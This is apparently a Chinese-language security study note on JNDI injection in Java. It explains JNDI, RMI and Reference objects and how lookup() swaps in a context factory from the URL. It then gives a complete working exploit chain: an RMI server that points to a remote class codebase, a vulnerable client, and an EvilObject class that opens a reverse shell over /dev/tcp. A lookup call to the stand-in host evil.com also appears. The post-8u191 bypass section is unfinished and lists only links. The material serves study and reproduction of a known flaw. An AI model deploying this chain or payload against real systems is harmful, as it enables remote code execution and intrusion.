JNDI注入

前言

本漏洞是在JDK1.7的,在jdk8u191之后设置了com.sun.jndi.ldap.object.trustURLCodebase为 false,限制了远程加载class文件
本文会先讲jdk8u191以前的注入方法
之后会讲jdk8u191以后的绕过

JNDI

Java Naming and Directory Interface
简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。如下图:

RMI

RMI全称是Remote Method Invocation,远程⽅法调用.从这个名字就可以看出,他的⽬标和RPC其实是类似的,是让某个Java虚拟机上的对象调用另一个Java虚拟机中对象上的方法,只不过RMI是Java独有的一种机制。

Reference

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化

Reference 中几个比较关键的属性:

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的 class 中需要实例化类的名称
  3. classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议
1
2
3
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

以上代码会先去本地的CLASSPATH去寻找被标识为refClassName的类
本地未找到就会去访问http://example.com:12345/refClassName.class动态加载classes并调用insClassName构造函数

JNDI注入

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

在调用lookup()search()时,可以使用带 URI 动态的转换上下文环境

1
ctx.lookup("rmi://evil.com:1099");

查看lookup的源码

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

第一次调用lookup()函数的时候,会对上下文环境进行一个初始化,这时候代码会对paramName参数值进行一个URL解析如果paramName包含一个特定的Schema协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换.

JNDI注入的代码

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

客户端(让其访问我们精心构造的服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//如果是在jdk1.8版本下复现要加上这代码
if(args.length < 1) {
System.out.println("Usage: java JNDIClient <uri>");
System.exit(-1);
}
String uri = args[0];
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}

注入程序,编译成class,启一个临时的 HTTP 服务来提供访问

1
2
3
4
5
6
7
8
9
10
11
import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "/bin/sh -i > /dev/tcp/127.0.0.1/1337 2>&1 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}

JDK 1.8.0_191+版本中的JNDI注入漏洞利用方法

没复现成功先留着
https://paper.seebug.org/942/

环境

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/
https://github.com/welk1n/JNDI-Injection-Bypass

参考

https://xz.aliyun.com/t/4615
https://xz.aliyun.com/t/3787
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://paper.seebug.org/942/